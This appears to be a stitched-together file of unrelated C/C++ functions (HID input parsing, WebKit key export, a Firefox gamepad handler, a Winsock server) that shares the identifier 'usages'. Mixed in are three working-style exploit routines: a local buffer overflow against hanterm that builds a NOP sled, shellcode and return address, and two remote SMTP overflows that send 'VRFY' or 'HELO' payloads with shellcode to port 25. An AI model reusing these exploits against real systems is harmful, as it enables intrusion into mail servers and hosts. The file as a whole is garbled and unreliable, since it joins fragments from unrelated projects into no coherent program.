// ---------------------------------------------------------------------------
// GetIndexOfUsage()
// ---------------------------------------------------------------------------
//
TBool TReportUtils::GetIndexOfUsage(const CField* aField,
TInt aUsageId, TInt& aUsageIndex)
{
TArray<TInt> usages(aField->UsageArray());
if ( usages.Count() > 0 )
{
// Find the usage in the array
for ( TInt i = 0; i < usages.Count(); i++ )
{
if ( usages[i] == aUsageId )
{
aUsageIndex = i;
return ETrue;
}
}
}
else
{
// The field includes all usages between the min and max
if ( aField->UsageMin() <= aUsageId && aUsageId <= aField->UsageMax() )
{
aUsageIndex = aUsageId - aField->UsageMin();
return ETrue;
}
}
return EFalse;
}
void InputDeviceProvider_Win32Hid::update_buttons(void *preparse_data, void *report, int report_size)
{
for (size_t i = 0; i < buttons.size(); i++)
buttons[i] = false;
Hid::CAPS caps;
hid.GetCaps(preparse_data, &caps);
std::vector<Hid::BUTTON_CAPS> button_caps(caps.NumberInputButtonCaps);
if (!button_caps.empty())
{
USHORT num_button_caps = button_caps.size();
hid.GetButtonCaps(Hid::HidP_Input, &button_caps[0], &num_button_caps, preparse_data);
for (size_t collection = 0; collection < button_caps.size(); collection++)
{
ULONG array_length = button_caps[collection].Range.UsageMax - button_caps[collection].Range.UsageMin + 1;
std::vector<Hid::USAGE> usages(array_length);
std::vector<bool> button_values(array_length);
ULONG usage_length = array_length;
hid.GetUsages(Hid::HidP_Input, button_caps[collection].UsagePage, button_caps[collection].LinkCollection, &usages[0], &usage_length, preparse_data, report, report_size);
usage_length = clan::min(usage_length, array_length);
for (size_t i = 0; i < usage_length; i++)
{
std::map<Hid::USAGE, int>::iterator it = usage_to_button_index.find(usages[i]);
if (it != usage_to_button_index.end())
buttons[it->second] = true;
}
}
}
}
//
// Function: ValidateArgs
//
// Description:
// Parse the command line arguments, and set some global flags
// to indicate what actions to perform
//
void ValidateArgss(int argc, char **argv)
{
int i;
for (i = 1; i < argc; i++)
{
if ((argv[i][0] == '-') || (argv[i][0] == '/'))
{
switch (tolower(argv[i][1]))
{
case 'p':
iPorts = atoi(&argv[i][3]);
break;
case 'i':
bInterface = TRUE;
if (strlen(argv[i]) > 3)
// strcpy(szAddress, &argv[i][3]);
break;
case 'o':
bRecvOnly = TRUE;
break;
default:
usages();
break;
}
}
}
}
// ---------------------------------------------------------------------------
// UsageAtIndex()
// ---------------------------------------------------------------------------
//
TInt TReportUtils::UsageAtIndex(const CField* aField, TInt aUsageIndex)
{
TInt usageId = 0;
TArray<TInt> usages(aField->UsageArray());
if ( usages.Count() > 0 )
{
if ( aUsageIndex < 0 )
{
// Null state for array control
}
else if ( aUsageIndex < usages.Count() )
{
// Get the usage ID from the set of possible usages
usageId = usages[aUsageIndex];
}
else
{
// If there aren't enough usages in the set, the last one repeats
usageId = usages[usages.Count() - 1];
}
}
else
{
// Get the usage ID from the range
if ( 0 <= aUsageIndex
&& aUsageIndex <= (aField->UsageMax() - aField->UsageMin()) )
{
usageId = aField->UsageMin() + aUsageIndex;
}
}
return usageId;
}
JsonWebKey CryptoKeyAES::exportJwk() const
{
JsonWebKey result;
result.kty = "oct";
result.k = base64URLEncode(m_key);
result.key_ops = usages();
result.ext = extractable();
return result;
}
main(int argc, char *argv[]) {
int rufp, fpru, jobst,
ferbuf, num=DFBUF,
ofs=DFOFS;
long addr;
char buffer[2000],
hoip[] = DFIP;
extern char *optarg;
banrl();
while ((jobst = getopt(argc, argv, "a:o:b:")) !=EOF)
switch (jobst) {
case 'a': strcpy(hoip, optarg);
break;
case 'o': ofs = atoi(optarg);
break;
case 'b': num = atoi(optarg);
break;
case '?': usages(argv[0]);
exit(0);
}
printf(" Display HOST_IP: %s\n",hoip);
addr = sp() +ofs; // -ofs;
printf(" Jumping Address: %p\n\n",addr);
ferbuf = num - sizeof(shellcode) -4;
bzero(&buffer,2000);
for(rufp=0; rufp<=ferbuf; rufp++) {
buffer[rufp] = NOP;
}
for(fpru=0; fpru<=52; fpru++) {
buffer[rufp++] = shellcode[fpru];
}
buffer[rufp++] = addr & 0xff;
buffer[rufp++] = addr>> 8 & 0xff;
buffer[rufp++] = addr>>16 & 0xff;
buffer[rufp++] = addr>>24 & 0xff;
execl("/usr/X11R6/bin/hanterm", "hanterm",
"-display", hoip, "-fn", buffer, NULL);
exit(0);
}
JsonWebKey CryptoKeyRSA::exportJwk() const
{
JsonWebKey result;
result.kty = "RSA";
result.key_ops = usages();
result.ext = extractable();
auto keyData = exportData();
const auto& rsaKeyData = downcast<CryptoKeyDataRSAComponents>(*keyData);
// public key
result.n = base64URLEncode(rsaKeyData.modulus());
result.e = base64URLEncode(rsaKeyData.exponent());
if (rsaKeyData.type() == CryptoKeyDataRSAComponents::Type::Public)
return result;
// private key
result.d = base64URLEncode(rsaKeyData.privateExponent());
if (!rsaKeyData.hasAdditionalPrivateKeyParameters())
return result;
result.p = base64URLEncode(rsaKeyData.firstPrimeInfo().primeFactor);
result.q = base64URLEncode(rsaKeyData.secondPrimeInfo().primeFactor);
result.dp = base64URLEncode(rsaKeyData.firstPrimeInfo().factorCRTExponent);
result.dq = base64URLEncode(rsaKeyData.secondPrimeInfo().factorCRTExponent);
result.qi = base64URLEncode(rsaKeyData.secondPrimeInfo().factorCRTCoefficient);
if (rsaKeyData.otherPrimeInfos().isEmpty())
return result;
Vector<RsaOtherPrimesInfo> oth;
for (auto info : rsaKeyData.otherPrimeInfos()) {
RsaOtherPrimesInfo otherInfo;
otherInfo.r = base64URLEncode(info.primeFactor);
otherInfo.d = base64URLEncode(info.factorCRTExponent);
otherInfo.t = base64URLEncode(info.factorCRTCoefficient);
oth.append(WTFMove(otherInfo));
}
result.oth = WTFMove(oth);
return result;
}
main (int argc, char *argv[])
{
int sock,targethost,sinlen;
struct sockaddr_in sin;
static unsigned char buffer[20000];
unsigned char *ptr,*ptr2;
unsigned long ret_addr;
int len,x = 1;
unsigned long rw_mem;
#ifndef UNIX
WORD wVersionRequested;
WSADATA wsaData;
int err;
wVersionRequested = MAKEWORD( 2, 2 );
err = WSAStartup( wVersionRequested, &wsaData );
if (err != 0) exit(1);
#endif
if (argc < 4) usages(argv[0]);
targethost = getip(argv[1]);
len = strlen(argv[2]);
if (len > 60)
{
printf("Bad http format!\n");
usages(argv[0]);
}
ptr = argv[2];
while (x <= len)
{
x++;
(*ptr)++; /*Encrypt the http ip for later parsing */
ptr++;
}
if( (sscanf(argv[3],"0x%x",(unsigned long *) &ret_addr)) == 0)
{
printf("Input error, the return address has incorrect format\n");
exit(0);
}
sock = socket(AF_INET,SOCK_STREAM,0);
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = targethost;
sin.sin_port = htons(25);
sinlen = sizeof(sin);
printf("Starting to create the egg\n");
ptr = (char *)&buffer;
strcpy(ptr,"VRFY ");
ptr+=5;
memset((void *)ptr, 0x90, 7000);
ptr2=ptr;
ptr2+=OFFSET;
memcpy ((void *) ptr2,(void *)&ret_addr, 4);
ptr2+=8;
/* Put the code on the stack that transfers control to our code */
memcpy((void *) ptr2, (void *)&controlcode, (sizeof(controlcode)-1) );
ptr2=ptr;
ptr2+=LENGTH;
(*ptr2)=0x00;
ptr+=CODEOFFSET;
memcpy((void *) ptr,(void *)&code,strlen(code));
(char *) ptr2 = strstr(ptr,"\xb1");
if (ptr2 == NULL)
{
printf("Bad shell code\n");
exit(0);
}
ptr2++;
(*ptr2)+= len + ( sizeof(dir) );
(char *) ptr2 = strstr(ptr,"\x83\xc6");
if (ptr2 == NULL)
{
printf("Bad shell code\n");
exit(0);
}
ptr2+= 2;
(*ptr2)+= len + 8;
ptr+=strlen(code);
memcpy((void *) ptr, (void *) argv[2], len); /*Parse in the http
site's info */
ptr+=len;
memcpy((void *) ptr,(void*) &dir, (sizeof(dir)-1) );
printf("Made the egg\n");
if ( connect(sock, (struct sockaddr *)&sin, sinlen) == -1)
{
perror("error:");
exit(0);
}
printf("Connected.\n");
#ifndef UNIX
send(sock, (char *)&buffer, strlen((char *)&buffer), 0);
send(sock,"\r\n",2,0);
#else
write(sock, &buffer, strlen((char *)&buffer) ); /* strlen((char
*)&buffer */
write(sock,"\r\n",2);
#endif
SLEEP(1);
printf("Sent the egg\n");
#ifndef UNIX
WSACleanup();
#endif
CLOSE(sock);
exit(1);
}
//
// Function: main
//
// Description:
// Main thread of execution. Initialize Winsock, parse the
// command line arguments, create the listening socket, bind
// to the local address, and wait for client connections.
//
int main(int argc, char **argv)
{
WSADATA wsd;
SOCKET sListen,
sClient;
int iAddrSize;
HANDLE hThread;
DWORD dwThreadId;
struct sockaddr_in local,
client;
ValidateArgss(argc, argv);
if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0)
{
printf("Failed to load Winsock!\n");
return 1;
}
// Create our listening socket
//
sListen = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
if (sListen == SOCKET_ERROR)
{
printf("socket() failed: %d\n", WSAGetLastError());
return 1;
}
// Select the local interface and bind to it
//
if (bInterface)
{
//local.sin_addr.s_addr = inet_addr(szAddress);
//if (local.sin_addr.s_addr == INADDR_NONE)
usages();
}
else
local.sin_addr.s_addr = htonl(INADDR_ANY);
local.sin_family = AF_INET;
local.sin_port = htons(iPorts);
if (bind(sListen, (struct sockaddr *)&local,
sizeof(local)) == SOCKET_ERROR)
{
printf("bind() failed: %d\n", WSAGetLastError());
return 1;
}
listen(sListen, 8);
//
// In a continous loop, wait for incoming clients. Once one
// is detected, create a thread and pass the handle off to it.
//
while (1)
{
iAddrSize = sizeof(client);
sClient = accept(sListen, (struct sockaddr *)&client,
&iAddrSize);
if (sClient == INVALID_SOCKET)
{
printf("accept() failed: %d\n", WSAGetLastError());
break;
}
// printf("Accepted client: %s:%d\n",inet_ntoa(client.sin_addr));
hThread = CreateThread(NULL, 0, ClientThread,(LPVOID)sClient, 0, &dwThreadId);
if (hThread == NULL)
{
printf("CreateThread() failed: %d\n", GetLastError());
break;
}
CloseHandle(hThread);
}
closesocket(sListen);
WSACleanup();
return 0;
}
bool
WindowsGamepadService::HandleRawInput(HRAWINPUT handle)
{
if (!mHID) {
return false;
}
// First, get data from the handle
UINT size;
GetRawInputData(handle, RID_INPUT, nullptr, &size, sizeof(RAWINPUTHEADER));
nsTArray<uint8_t> data(size);
data.SetLength(size);
if (GetRawInputData(handle, RID_INPUT, data.Elements(), &size,
sizeof(RAWINPUTHEADER)) == kRawInputError) {
return false;
}
PRAWINPUT raw = reinterpret_cast<PRAWINPUT>(data.Elements());
Gamepad* gamepad = nullptr;
for (unsigned i = 0; i < mGamepads.Length(); i++) {
if (mGamepads[i].type == kRawInputGamepad
&& mGamepads[i].handle == raw->header.hDevice) {
gamepad = &mGamepads[i];
break;
}
}
if (gamepad == nullptr) {
return false;
}
// Second, get the preparsed data
nsTArray<uint8_t> parsedbytes;
if (!GetPreparsedData(raw->header.hDevice, parsedbytes)) {
return false;
}
PHIDP_PREPARSED_DATA parsed =
reinterpret_cast<PHIDP_PREPARSED_DATA>(parsedbytes.Elements());
// Get all the pressed buttons.
nsTArray<USAGE> usages(gamepad->numButtons);
usages.SetLength(gamepad->numButtons);
ULONG usageLength = gamepad->numButtons;
if (mHID.mHidP_GetUsages(HidP_Input, kButtonUsagePage, 0, usages.Elements(),
&usageLength, parsed, (PCHAR)raw->data.hid.bRawData,
raw->data.hid.dwSizeHid) != HIDP_STATUS_SUCCESS) {
return false;
}
bool buttons[kMaxButtons] = { false };
usageLength = std::min<ULONG>(usageLength, kMaxButtons);
for (unsigned i = 0; i < usageLength; i++) {
buttons[usages[i] - 1] = true;
}
if (gamepad->hasDpad) {
// Get d-pad position as 4 buttons.
ULONG value;
if (mHID.mHidP_GetUsageValue(HidP_Input, gamepad->dpadCaps.UsagePage, 0, gamepad->dpadCaps.Range.UsageMin, &value, parsed, (PCHAR)raw->data.hid.bRawData, raw->data.hid.dwSizeHid) == HIDP_STATUS_SUCCESS) {
UnpackDpad(static_cast<LONG>(value), gamepad, buttons);
}
}
for (unsigned i = 0; i < gamepad->numButtons; i++) {
if (gamepad->buttons[i] != buttons[i]) {
NewButtonEvent(gamepad->id, i, buttons[i]);
gamepad->buttons[i] = buttons[i];
}
}
// Get all axis values.
for (unsigned i = 0; i < gamepad->numAxes; i++) {
double new_value;
if (gamepad->axes[i].caps.LogicalMin < 0) {
LONG value;
if (mHID.mHidP_GetScaledUsageValue(HidP_Input, gamepad->axes[i].caps.UsagePage,
0, gamepad->axes[i].caps.Range.UsageMin,
&value, parsed,
(PCHAR)raw->data.hid.bRawData,
raw->data.hid.dwSizeHid)
!= HIDP_STATUS_SUCCESS) {
continue;
}
new_value = ScaleAxis(value, gamepad->axes[i].caps.LogicalMin,
gamepad->axes[i].caps.LogicalMax);
}
else {
ULONG value;
if (mHID.mHidP_GetUsageValue(HidP_Input, gamepad->axes[i].caps.UsagePage, 0,
gamepad->axes[i].caps.Range.UsageMin, &value,
parsed, (PCHAR)raw->data.hid.bRawData,
raw->data.hid.dwSizeHid) != HIDP_STATUS_SUCCESS) {
continue;
}
new_value = ScaleAxis(value, gamepad->axes[i].caps.LogicalMin,
gamepad->axes[i].caps.LogicalMax);
}
if (gamepad->axes[i].value != new_value) {
NewAxisMoveEvent(gamepad->id, i, new_value);
gamepad->axes[i].value = new_value;
}
}
return true;
}
main (int argc, char *argv[])
{
int sock,filedesc,offset,targethost,sinlen,codelength;
struct sockaddr_in sin;
unsigned char buffer[8000];
char ipbuffer[16];
unsigned char *ptr,*ptr2;
unsigned long ret_addr;
int len,x = 1;
unsigned long address;
if (argc < 5) usages(argv[0]);
targethost = getip(argv[1]);
len = strlen(argv[2]);
if (len > 60)
{
printf("Bad http format!\n");
usages(argv[0]);
}
ptr = argv[2];
while (x <= len)
{
x++;
(*ptr)++; /*Encrypt the http ip for later parsing */
ptr++;
}
offset = atoi(argv[3]);
ret_addr = atol(argv[4]);
if (offset > 7000)
{
printf("Offset too large.\n");
exit(0);
}
sock = socket(AF_INET,SOCK_STREAM,0);
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = targethost;
sin.sin_port = htons(25);
sinlen = sizeof(sin);
printf("Starting to create the egg\n");
ptr = (char *)&buffer;
strcpy(ptr,"HELO ");
ptr+=5;
memset((void *)ptr, 0x90, 7000);
ptr+=offset;
memcpy ((void *) ptr,(void *)&ret_addr, 4);
ptr+=60;
memcpy((void *) ptr,(void *)&code,strlen(code));
(char *) ptr2 = strstr(ptr,"\xb1");
if (ptr2 == NULL)
{
printf("Bad shell code\n");
exit(0);
}
ptr2++;
(*ptr2)+= len + ( sizeof(dir) - 1 );
(char *) ptr2 = strstr(ptr,"\x83\xc6");
if (ptr2 == NULL)
{
printf("Bad shell code\n");
exit(0);
}
ptr2+= 2;
(*ptr2)+= len + 8;
ptr+=strlen(code);
memcpy((void *) ptr, (void *) argv[2], len); /*Parse in the http
site's info */
ptr+=len;
memcpy((void *) ptr,(void*) &dir, sizeof(dir) );
printf("Made the egg\n");
if ( connect(sock, (struct sockaddr *)&sin, sinlen) == -1)
{
perror("error:");
exit(0);
}
printf("Connected.\n");
write(sock, &buffer, strlen((char *)&buffer) );
write(sock,"\r\n",2);
sleep(1);
printf("Sent the egg\n");
close(sock);
exit(1);
}
